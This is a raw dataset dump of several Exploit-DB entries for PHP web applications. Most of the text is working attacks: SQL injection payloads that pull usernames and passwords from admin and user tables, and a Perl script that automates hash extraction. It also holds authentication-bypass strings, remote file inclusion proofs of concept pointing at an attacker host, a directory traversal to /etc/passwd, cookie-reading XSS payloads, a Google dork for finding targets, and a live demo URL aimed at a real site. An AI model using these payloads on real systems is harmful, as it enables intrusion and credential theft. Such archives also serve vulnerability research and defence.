deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5654
Description: EntertainmentScript 1.4.0 - 'play.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-19
Author: Mr.SQL

Exploit:
#########################################
# rEm0te SQL Injection Vulnerability    
#                                       
# EntertainmentScript V1.4.0  (( play.php id ))
#                                       
#########################################

## Script : EntertainmentScript.com   V1.4.0   name script on demo site is ( fastfreemedia )

## DeMo :  http://demo.fastfreemedia.com/index.php
       
	       
#########################################

## AuTh0r : Mr.SQL

## H0ME  : WwW.PaL-HaCkEr.CoM

## Email  :  SQL@Hotmail.it

#########################################

## D0rK ::         :)) not found

###################################################################################

##  (()) -(:: SQL ::)- (())

www.Site.com/
              play.php?id=-96969+union+select+0x28284d722e53514c2929,concat(username,0x3a3a3a3a3a,password),3,4,email,6+from+users/*

--------

##  :: liVe DeMO ::

http://demo.fastfreemedia.com/play.php?id=-96969+union+select+0x28284d722e53514c2929,concat(username,0x3a3a3a3a3a,password),3,4,email,6+from+users/*


###########################################################################

  Gr33Tz   :: HaCkEr-EGy :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH ::     (( MuslimS HaCkErS ))   
                  
##########################################################################
                                                  -((:::: Geek Inj3cT0r ::::))-

# milw0rm.com [2008-05-19]
Exploit-DB #7059
Description: Enthusiast 3.1.4 - 'show_joined.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-08
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Enthusiast 3 Remote Code Execution
# Vendor: http://scripts.indisguise.org/enthusiast/
# Bug: File Inclusion
# Vulnerable Version: 3.1.4 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_57.htm
###################################################################


####################
- Description:
####################

Enthusiast is a full-featured member listing collective management script. It is geared towards fanlisting owners who own multiple fanlistings, but easily

customizable for other types of listings as well?cliques, physical listings, taboo listings, and the like.


####################
- Vulnerability:
####################

+--> File Inclusion

When register_globals is enabled, Its possible to include arbitrary files from local or remote resources.

####################
- Code Snippet:
####################
/show_joined.php #line:261-264

<p class="show_joined_credits">
<a href="http://scripts.indisguise.org">Powered by Enthusiast
<?php include $path . 'show_enthversion.php' ?></a>
</p>

####################
- Exploits/POCs:
####################

POC: http://example.com/enth_3.1.4/enth3/show_joined.php?path=http://evilsite/ (this one includes show_enthversion.php from evilsite)
POC: http://example.com/enth_3.1.4/enth3/show_joined.php?path=../../evilscript.php%00 (this requiers magic_quotes_gpc to be disabled)

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz

# milw0rm.com [2008-11-08]
Exploit-DB #15126
Description: Entrans - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-27
Author: keracker

Exploit:
# Exploit Title: Entrans SQLi vulnerablility
# Date: 2010/9/27
# Author: keracker
# Software Link: http://sourceforge.net/projects/entrans/
# Software Description: Entrans is an online collaborative translation tool used for editing and translation of PO files. It provides features such as ``dynamic'' keyboard for Indian languages and automated suggestions to help beginners and experts alike. 
# Version: all
# Tested on: windows

# xpl:
    http::/localroot/poll.php?sid=-1+union+all+select+1--



#Greetz:
    ALL IRANIAN MUSLIM HACKERs
Exploit-DB #42412
Description: Entrepreneur B2B Script - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Meisam Monsef

Exploit:
# Exploit Title: Entrepreneur B2B Script - 'pid' Parameter SQL Injection
# Date: 2017-08-02
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://readymadeb2bscript.com/
# Version: All Version


Exploit :
http://site.com/[path]/product_view1.php?pid=-99999+[SQL+Command]
Exploit-DB #41524
Description: Entrepreneur B2B Script 2.0.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Entrepreneur B2B Script v2.0.4 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/entrepreneur-b2b-script/
# Demo: http://www.readymadeb2bscript.com/demo/entre-monicab2b/
# Version: 2.0.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news-details.php?id=[SQL]
# For example;
# -54'+/*!50000union*/+select+1,2,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6,7,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),9,10,11,12,13,14,15--+-
# admin :id
# admin :title
# admin :name
# admin :last_name
# admin :company
# admin :sex
# admin :username
# admin :password
# admin :ref_password
# -54'+/*!50000union*/+select+1,2,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6,7,/*!50000concat*/(username,0x3a,password),9,10,11,12,13,14,15+from+admin--+-
# Etc...
# # # # #
Exploit-DB #43305
Description: Entrepreneur Bus Booking Script 3.0.4 - 'sourcebus' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Entrepreneur Bus Booking Script 3.0.4 - SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/entrepreneur-bus-booking-script/
# Version: 3.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/booker_details.php?sourcebus=[SQL]
# 
# -1++/*!09999UNION*/+/*!09999SELECT*/+(/*!09999Select*/+export_set(5,@:=0,(/*!09999select*/+count(*)/*!09999from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!09999table_name*/,0x3c6c693e,2),/*!09999column_name*/,0xa3a,2)),@,2))--+-
# 
# -1++/*!09999UNION*/+/*!09999SELECT*/+(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)/*!50000FROM*/(adminlogin)/*!50000WHERE*/(@x)IN(@x:=/*!50000CONCAT*/(0x20,@x,0x3c62723e555345524e414d453a,admin_username,0x3c62723e504153533a,admin_password,0x3c62723e[PII_REDACTED]59415249,0x3c62723e))))x)--+-
# 
# 
# # # # #
Exploit-DB #41513
Description: Entrepreneur Bus Booking Script 3.03 - 'hid_Busid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Entrepreneur Bus Booking Script v3.03 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/entrepreneur-bus-booking-script/
# Demo: http://travelbookingscript.com/demo/busbooking/
# Version: 3.03
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/available_seat.php?hid_Busid=[SQL]
# # # # #
Exploit-DB #43995
Description: Entrepreneur Dating Script 2.0.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2018-02-07
Author: L0RD

Exploit:
# Exploit Title: Entrepreneur Dating Script 2.0.2 - Authentication Bypass
# Dork: N/A
# Date: 2018-02-07
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://www.phpscriptsmall.com/product/entrepreneur-dating-script/
# Version: 2.0.2
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# With this exploit,attacker can login as any user without any authentication.
# # # # #
# Proof of Concept :

# 1) First go to login page .

# 2) Username : anything , Password : ' or 'x'='x

PoC Video :
http://s8.picofile.com/file/[PII_REDACTED]/Autentication_Bypass.mp4.html

Test : http://server/login.php?lerr
Exploit-DB #43275
Description: Entrepreneur Job Portal Script 2.0.6 - 'jobsearch_all.php?rid1' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Entrepreneur Job Portal Script 2.0.6 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/entrepreneur-job-portal-script/
# Demo: http://freelancewebdesignerchennai.com/demo/job-portal/
# Version: 2.0.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/jobsearch_all.php?rid1=[SQL]
# 
# -1'++UNION(SELECT(1),(2),(3),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54))--+-
# 
# 
# # # # #
Exploit-DB #41046
Description: Entrepreneur Matrimonial Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:: Admin Login Bypass & SQLi
# Date: 13.01.2017
# Vendor Homepage: http://www.phpmatrimonialscript.in/
# Script Name: Entrepreneur Matrimonial Script
# Script Buy Now: http://www.phpmatrimonialscript.in/product/entrepreneur-matrimonial/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41553
Description: Envato Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Envato Clone Script - SQL Injection
# Google Dork: N/A
# Date: 08.03.2017
# Vendor Homepage: http://bsetec.com/
# Software : http://envatoclone.bsetec.com/
# Demo: http://bsetecdemo.com/envatoclone/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/codes/php-scripts/?by=[SQL]
# http://localhost/[PATH]/graphics/graphics/?by=[SQL]
# http://localhost/[PATH]/themes/word-press/?by=[SQL]
# http://localhost/[PATH]/audios/music/?by=[SQL]
# # # # #
Exploit-DB #4256
Description: Envolution 1.1.0 - 'topic' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-05
Author: k1tk4t

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 3)
{
    usage();

    exit();
}

$site = $ARGV[0]; # Site Target
$path = $ARGV[1]; # Path direktori envolution_1-0-1
$usid = $ARGV[2]; # member id

$www = new LWP::UserAgent;
$sql = "$site/$path/modules.php?op=modload&name=News&file=index&catid=&topic=2%20and%201=2%20union%20all%20select%201,2,3,concat(pn_uname,0x3a,pn_pass)%20from%20envo_users%20where%20pn_uid=$usid/*";
print "\n\n [~] Mencari Username:Password(md5) member id = $usid \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /<b>(.*)<\/b>/ or err();
print "\n [+] Username:Password(md5) member id = $usid  \n";
print "\n [>] $1 \n\n";

sub usage()
{
print "#############################################################\n";
print "#                      newhack[dot]org                      #\n";
print "#############################################################\n";
print "#        Envolution <= v1.1.0 Remote SQL Injection          #\n";
print "#       http://sourceforge.net/projects/envolution          #\n";
print "#          k1tk4t - newhack[dot]org - Indonesia             #\n";
print "#     cara penggunaan: enov.pl [site] [path] [member id]    #\n";
print "#       contoh: enov.pl http://localhost /html  2           #\n";
print "#-----------------------------------------------------------#\n";
print "# Thanks to; str0ke, xoron, y3dips,                         #\n";
print "# newhack[dot]org staff dan member                          #\n";
print "# mR.opt1lc,fusion,PusHm0v,Ghoz,fl3xu5,bius,iind_id,slackX  #\n";
print "# Semua Komunitas Hacker dan Sekuriti Indonesia;            #\n";
print "#############################################################\n";
}

sub err()
{
print "\n [-] Exploit gagal :( - cari yang lain!";
exit();
}

# milw0rm.com [2007-08-05]
Exploit-DB #10696
Description: epay - Backup
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : epay  Backup Vulnerability                                              |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by : epay                                                       |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/epay/backup/backup.gz
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #12353
Description: EPay Enterprise 4.13 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-23
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
        EPay Enterprise v4.13 (cid) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 23-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: AlstraSoft EPay Enterprise
Vendor  	: http://www.alstrasoft.com/
Price		: $240 USD
Google Dork	: "Powered by EPay Enterprise" inurl:"shop.htm?cid=" inurl:"shop.php?cid="
Overview	:

EPay Enterprise has been developed by AlstraSoft with the growing demand 
for online payment processing business similar to Paypal and Stormpay.com.
----------------------------------------------------------------

Exploit:
~~~~~~~

-99999+union+all+select+all+null,null,group_concat(username,char(58),password)v3n0m+from+dp_members--

SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/shop.htm?cid=[SQLi]
http://127.0.0.1/[path]/shop.php?cid=[SQLi]


Default Admin Login Page:
~~~~~~~~~~~~~~
http://127.0.0.1/[path]/admins/login.php
http://127.0.0.1/[path]/admins/login.htm
----------------------------------------------------------------

Shoutz:
~~~~

- 'You getz angry to me c'z you dunno what i did :( '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,c4uR [caur sekarang berubah,ga pernah bw martabak lagi :(],mywisdom,yadoy666,udhit
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [Mizz You...Mizz You...Mizz You... :)]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #26272
Description: EPay Pro 2.0 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-09-19
Author: h4cky0u

Exploit:
source: https://www.securityfocus.com/bid/14871/info

EPay Pro is prone to a directory traversal vulnerability. This is due to a lack of proper validation of user-supplied input.

An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

http://www.example.com/index.php?read=../../../../../../../../../../../../../../etc/passwd
Exploit-DB #42950
Description: EPESI 1.8.2 rev20170830 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-10-03
Author: Zeeshan Shaikh

Exploit:
# Exploit Title: Multiple Stored XSS in EPESI
# Date: 10/03/2017
# Exploit Author: Zeeshan Shaikh
# Vendor Homepage: http://epe.si/
# Software Link: http://epe.si/download/
# Version: 1.8.2 rev20170830
# CVE : CVE-2017-14712 to CVE-2017-14717
# Category: webapps


XSS 1 (Tasks - Title)
Steps to recreate:
1. Home->Tasks->add new
2. Enter title as "MYTITLE" and fill required details but don't click save
3. Start interceptor and intercept request
4. click save
5. Now replace MYTITLE with "<i onclick=alert(1)>alertme</i>"(without
quotes)
6. Home->click on alertme

XSS 2 (Tasks - Description)
Steps to recreate:
1. Create a new task and fill description as "MYDESC" but don't click on
save
2. Start intercepting request and then click save on browser
3. Now replace MYDESC with "<script>alert(1)</script>"
4. Go to Home(make sure task applet is there) -> Mouseover on i icon

XSS 3 (Tasks/Phonecall - Notes - Title)
Steps to recreate:
1. Home->Tasks/PhoneCall->Notes->add new
2. Steps same as XSS 1
3. Click on alertme in notes section

XSS 4 (Tasks - Alerts - Title)
Steps to recreate:
1. Home->Tasks->Notes->add new
2. Steps same as XSS 1
3. Click on alertme in alerts section

XSS 5 (Phonecalls - Subject)
Steps to recreate:
1. Create a new phonecall and fill subject as "MYSUB" but don't click on
save
2. Start intercepting request and then click save on browser
3. Now replace MYSUB with "<script>alert(1)</script>"
4. Go to Home(make sure task applet is there) -> Mouseover on i icon

XSS 6 (Phonecalls - Description)
Same as XSS 5
Exploit-DB #36474
Description: epesi BIM 1.2 rev 8154 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-21
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51149/info

epesi BIM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

epesi BIM 1.2.0 rev 8154 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/phpfm.php?frame=3&dir_atual=%3Cscript%3Ealert%28123%29;%3C/script%3E

http://www.example.com/admin/themeup.php/%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E

http://www.example.com/admin/wfb.php?msg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #3247
Description: Epistemon 1.0 - 'common.php?inc_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-01
Author: GoLd_M

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Epistemon 1.0 <=  Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:

http://sourcesup.cru.fr/frs/download.php/668/Epistemon_V1.tgz

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

V.CODE: In : /plateforme/code/inc/common.inc.php

include($inc_path.'config.php');
include ($inc_path."i18n.inc.php");
include ($inc_path."const.inc.php")      ;
include ($inc_path."c_init.inc".$ext)     ;
include ($inc_path."c_chapitre.inc".$ext) ;
include ($inc_path."c_color.inc".$ext)    ;

include ($inc_path."c_connexion.inc".$ext);
include ($inc_path."c_file.inc".$ext)     ;
include ($inc_path."c_formation.inc".$ext);
include ($inc_path."c_groupe.inc".$ext)   ;
include ($inc_path."c_header.inc".$ext)   ;
include ($inc_path."c_mail.inc".$ext)     ;
include ($inc_path."c_membre.inc".$ext)   ;
include ($inc_path."c_webmail.inc".$ext)  ;
include ($inc_path."c_module.inc".$ext)   ;
include ($inc_path."c_mysql.inc".$ext)    ;
include ($inc_path."c_phorum.inc".$ext)   ;
include ($inc_path."c_tuteur.inc".$ext)   ;
include ($inc_path."c_document.inc".$ext) ;
include ($inc_path."html.inc".$ext)       ;
include ($inc_path."c_complement.inc".$ext);

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[path]/plateforme/code/inc/common.inc.php?inc_path=Evil.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2007-02-01]